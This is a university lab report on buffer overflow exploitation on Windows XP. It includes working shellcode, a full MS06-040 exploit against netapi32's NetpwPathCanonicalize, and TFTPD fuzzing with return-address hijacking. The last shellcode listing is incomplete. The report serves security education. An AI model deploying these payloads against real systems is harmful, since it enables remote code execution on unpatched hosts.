华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:教师评语:一.实验环境⏹操作系统:Windows XP SP3⏹编译平台:Visual C++ 6.0⏹调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法⏹缓冲区溢出模拟程序程序源代码如下:运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。
运行命令窗口的shellcodeshellcode测试代码如下:#include "string.h"#include "stdio.h"#include<windows.h>char name[]="\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41" ///覆盖ebp"\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d""\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63""\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e""\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c""\x8d\x45\xf4\x50\xb8""\x77\x1d\x80\x7c" // LoadLibraryW的地址"\xff\xd0""\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73""\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72""\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63""\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57""\xba""\xc7\x93\xbf\x77" // System 的地址"\xff\xd2";int main(){char output[8];strcpy(output, name);for(int i=0;i<8&&output[i];i++){printf("\\0x%x",output[i]);}printf("\n");return 0;}shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替换成了jmp esp的地址,main 函数返回的时候就会执行我们的shellcode代码。
该shellcode,运行命令窗口。
2.MS06-040 缓冲区溢出漏洞分析和利用 溢出点定位溢出点定位源代码程序运行效果如下:可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。
漏洞利用漏洞利用的源代码如下:#include <windows.h>typedef void (*MYPROC)(LPTSTR);char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8";int main(){char arg_1[0x320];char arg_2[0x440];int arg_3=0x440;char arg_4[0x100];long arg_5=44;HINSTANCE LibHandle;MYPROC Trigger;char dll[] = "./netapi32.dll";char VulFunc[] = "NetpwPathCanonicalize";LibHandle = LoadLibrary(dll);Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);memset(arg_1,0,sizeof(arg_1));memset(arg_1,0x90,sizeof(arg_1)-2);memset(arg_4,0,sizeof(arg_4));memset(arg_4,'a',sizeof(arg_4)-2);memcpy(arg_4,shellcode,168);arg_1[0x318]=0xF9;// CALL ECX 的地址arg_1[0x319]=0x52;arg_1[0x31A]=0x18;arg_1[0x31B]=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);}漏洞利用的效果如下:可以看到成功的利用该漏洞,弹出了一个对话框。
3.TFTPD溢出漏洞分析与利用溢出点定位1.构造FUZZtftp 127.0.0.1 get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAFUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:2.确定溢出点采用284个’A’+’1234’的fuzz,运行效果如下:可以看到程序转到了34333231,溢出点定位成功。
3.程序中溢出点定位使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom,如下所示:从这里找到recvfrom函数的位置,在此设置断点:然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。
溢出漏洞利用分析首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。
从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:POP XRET代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:这样就可以构造如下的shellcode:"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" // 12"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" // 24"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" // 36"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" // 48"\x8d\x45\xf4\x50\xb8" // 53"\x77\x1d\x80\x7c" // LoadLibraryW的地址// 57"\xff\xd0" // 59"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" // 71"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" // 83"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63" // 95该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。